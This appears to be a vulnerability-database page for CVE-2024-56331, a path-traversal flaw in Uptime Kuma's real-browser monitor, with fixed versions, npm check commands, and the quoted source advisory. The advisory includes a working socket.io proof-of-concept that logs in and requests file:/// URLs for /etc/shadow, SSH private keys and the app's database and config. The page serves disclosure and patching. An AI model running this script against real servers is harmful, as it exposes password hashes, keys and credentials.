CVE-2024-56331: Uptime kuma Uptime-kuma Vulnerable To Local File Vulnerability

MODERATE
Advisory Identifier: GHSA-2qgm-m29m-cj2h
CVSS 6.8
CWE-22
Published
Advisory Summary

CVE-2024-56331 is a MODERATE (CVSS 6.8) uptime-kuma vulnerable to local file vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Uptime kuma libraries in the npm ecosystem. The issue involves uptime-kuma vulnerable to local file inclusion (lfi) via improper url handling in `real-browser` monitor. Remediation is available by upgrading affected packages to version 1.23.16, 2.0.0-beta.1.

CVE-2024-56331 at a Glance

CVE Identifier CVE-2024-56331
GHSA Identifier GHSA-2qgm-m29m-cj2h
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Uptime kuma
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-56331

To remediate this vulnerability, upgrade all affected Uptime kuma dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

uptime-kuma fixed: 1.23.16
npm install uptime-kuma@1.23.16
uptime-kuma fixed: 2.0.0-beta.1
npm install uptime-kuma@2.0.0-beta.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls uptime-kuma

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-56331, inspect your project dependencies using npm:

npm ls uptime-kuma

Analyze the terminal output to locate any version of Uptime kuma in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.23.16), your application is affected.

Note: The npm ls uptime-kuma command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Uptime kuma, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. ### Details The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content. ```javascript const browser = await getBrowser(); const context = await browser.newContext(); const page = await context.newPage(); const res = await page.goto(monitor.url, { waitUntil: "networkidle", timeout: monitor.interval * 1000 * 0.8, }); let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png"; await page.screenshot({ path: path.join(Database.screenshotDir, filename), }); await context.close(); ``` Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. ### PoC 1. **Instructions**: - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`. - The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content. Example PoC: 1. Log in to the application with valid credentials: ```javascript const { io } = require("socket.io-client"); // Server configuration and credentials const CONFIG = { serverUrl: "ws://localhost:3001", credentials: { username: "admin", password: "password1" }, requestType: { REAL_BROWSER: "real-browser", HTTP: "http" }, urlHeader: { VIEW_SOURCE: "view-source:file:///", FILE: "file:///" } }; // List of sensitive files on a Linux system const SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/hostname", "/etc/network/interfaces", // May vary depending on the distribution "/etc/ssh/ssh_config", "/etc/ssh/sshd_config", "~/.ssh/authorized_keys", "~/.ssh/id_rsa", "/etc/ssl/private/*.key", "/etc/ssl/certs/*.crt", "/app/data/kuma.db", // Uptime Kuma database file "/app/data/config.json" // Uptime Kuma configuration file ]; // Function to send a request and wait for the response function sendRequest(socket, filePath, type) { return new Promise((resolve, reject) => { fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath; if (type == CONFIG.requestType.HTTP) { fileUrl = CONFIG.urlHeader.FILE + filePath; } socket.emit("add", { type: type, name: type + " " + filePath, url: fileUrl, method: "GET", maxretries: 0, timeout: 500, notificationIDList: {}, ignoreTls: true, upsideDown: false, accepted_statuscodes: ["200-299"] }, (res) => { console.log(`Response for file ${filePath}:`, res); resolve(); }); }); } // Main function for connecting and sending the 'add' request (async () => { const socket = io(CONFIG.serverUrl); // Handle connection errors socket.on("connect_error", (err) => { console.error("Connection failed:", err.message); }); try { // Connecting with credentials await new Promise((resolve, reject) => { socket.emit("login", { username: CONFIG.credentials.username, password: CONFIG.credentials.password, token: "" }, (res) => { if (res.ok) { console.log("Connection successful"); resolve(); } else { console.log(res); reject(new Error("Connection failed")); } }); }); // Sending requests for each file using Promise.all to ensure synchronization const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER)); // Wait for all requests to be sent await Promise.all([...realBrowserRequests]); // Close the socket after all requests have been sent socket.close(); console.log("Connection closed after all requests."); } catch (error) { console.error("Error:", error.message); socket.close(); } })(); ``` ### Impact This vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as: - `/etc/passwd`: Contains user account information. - `/etc/shadow`: Contains password hashes. - `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool. - `/app/data/config.json`: Contains the database credentials for Uptime Kuma. Any **authenticated user** who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files.

CVE-2024-56331 Affected Uptime kuma Versions

2 component(s)
Fixed Versions:
1.23.162.0.0-beta.1
Product / Package Ecosystem Affected Versions Fixed Version
uptime-kuma
npm
≥ 1.23.0
< 1.23.16
1.23.16
uptime-kuma
npm
≥ 2.0.0-beta.0
< 2.0.0-beta.1
All 1 versions
2.0.0-beta.0
2.0.0-beta.1

References

Frequently Asked Questions

What is CVE-2024-56331?
CVE-2024-56331 is a security vulnerability in Uptime kuma involving uptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Uptime kuma versions are affected?
Affected versions include releases prior to 1.23.16, 2.0.0-beta.1 across affected packages: uptime-kuma.
What version fixes CVE-2024-56331?
Upgrading to 1.23.16, 2.0.0-beta.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is uptime-kuma affected?
Yes, uptime-kuma is affected in releases prior to 1.23.16, 2.0.0-beta.1. Upgrade your dependency to 1.23.16, 2.0.0-beta.1 or later.
What is the CVSS score of CVE-2024-56331?
CVE-2024-56331 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2024-56331?
CVE-2024-56331 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2024-56331?
Run the dependency tree command: 'npm ls uptime-kuma'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2qgm-m29m-cj2h",
  "modified" : "2024-12-20T21:36:55Z",
  "published" : "2024-12-20T15:10:46Z",
  "aliases" : [ "CVE-2024-56331" ],
  "summary" : "uptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor",
  "details" : "### Summary\nAn **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server.\n\n### Details\nThe vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:\n\n1. The URL input (`<input data-v-5f5c86d7=\"\" id=\"url\" type=\"url\" class=\"form-control\" pattern=\"https?://.+\" required=\"\">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation.\n   \n2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content.\n\n```javascript\nconst browser = await getBrowser();\nconst context = await browser.newContext();\nconst page = await context.newPage();\n\nconst res = await page.goto(monitor.url, {\n    waitUntil: \"networkidle\",\n    timeout: monitor.interval * 1000 * 0.8,\n});\n\nlet filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\";\n\nawait page.screenshot({\n    path: path.join(Database.screenshotDir, filename),\n});\n\nawait context.close();\n```\n\nSince the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.\n\n### PoC\n1. **Instructions**:\n   - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`.\n   - The server will process the URL and, in \"real-browser\" mode, capture a screenshot of the file content.\n\nExample PoC:\n\n1. Log in to the application with valid credentials:\n\n```javascript\nconst { io } = require(\"socket.io-client\");\n\n// Server configuration and credentials\nconst CONFIG = {\n  serverUrl: \"ws://localhost:3001\",\n  credentials: {\n    username: \"admin\",\n    password: \"password1\"\n  },\n  requestType: {\n    REAL_BROWSER: \"real-browser\",\n    HTTP: \"http\"\n  },\n  urlHeader: {\n    VIEW_SOURCE: \"view-source:file:///\",\n    FILE: \"file:///\"\n  }\n};\n\n// List of sensitive files on a Linux system\nconst SENSITIVE_FILES = [\n  \"/etc/passwd\",\n  \"/etc/shadow\",\n  \"/etc/hosts\",\n  \"/etc/hostname\",\n  \"/etc/network/interfaces\", // May vary depending on the distribution\n  \"/etc/ssh/ssh_config\",\n  \"/etc/ssh/sshd_config\",\n  \"~/.ssh/authorized_keys\",\n  \"~/.ssh/id_rsa\",\n  \"/etc/ssl/private/*.key\",\n  \"/etc/ssl/certs/*.crt\",\n  \"/app/data/kuma.db\", // Uptime Kuma database file\n  \"/app/data/config.json\" // Uptime Kuma configuration file\n];\n\n// Function to send a request and wait for the response\nfunction sendRequest(socket, filePath, type) {\n  return new Promise((resolve, reject) => {\n    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;\n    if (type == CONFIG.requestType.HTTP) {\n      fileUrl = CONFIG.urlHeader.FILE + filePath;\n    }\n    socket.emit(\"add\", {\n      type: type,\n      name: type + \" \" + filePath,\n      url: fileUrl,\n      method: \"GET\",\n      maxretries: 0,\n      timeout: 500,\n      notificationIDList: {},\n      ignoreTls: true,\n      upsideDown: false,\n      accepted_statuscodes: [\"200-299\"]\n    }, (res) => {\n      console.log(`Response for file ${filePath}:`, res);\n      resolve();\n    });\n  });\n}\n\n// Main function for connecting and sending the 'add' request\n(async () => {\n  const socket = io(CONFIG.serverUrl);\n\n  // Handle connection errors\n  socket.on(\"connect_error\", (err) => {\n    console.error(\"Connection failed:\", err.message);\n  });\n\n  try {\n    // Connecting with credentials\n    await new Promise((resolve, reject) => {\n      socket.emit(\"login\", {\n        username: CONFIG.credentials.username,\n        password: CONFIG.credentials.password,\n        token: \"\"\n      }, (res) => {\n        if (res.ok) {\n          console.log(\"Connection successful\");\n          resolve();\n        } else {\n          console.log(res);\n          reject(new Error(\"Connection failed\"));\n        }\n      });\n    });\n\n    // Sending requests for each file using Promise.all to ensure synchronization\n    const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));\n\n    // Wait for all requests to be sent\n    await Promise.all([...realBrowserRequests]);\n\n    // Close the socket after all requests have been sent\n    socket.close();\n    console.log(\"Connection closed after all requests.\");\n\n  } catch (error) {\n    console.error(\"Error:\", error.message);\n    socket.close();\n  }\n})();\n```\n\n### Impact\nThis vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as:\n- `/etc/passwd`: Contains user account information.\n- `/etc/shadow`: Contains password hashes.\n- `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool.\n- `/app/data/config.json`: Contains the database credentials for Uptime Kuma.\n\nAny **authenticated user** who can submit a URL in \"real-browser\" mode is at risk of exposing sensitive data through screenshots of these files.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "uptime-kuma"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.23.0"
      }, {
        "fixed" : "1.23.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "uptime-kuma"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-beta.0"
      }, {
        "fixed" : "2.0.0-beta.1"
      } ]
    } ],
    "versions" : [ "2.0.0-beta.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-56331"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/louislam/uptime-kuma"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/releases/tag/1.23.16"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-20T15:10:46Z",
    "nvd_published_at" : "2024-12-20T20:15:24Z"
  }
}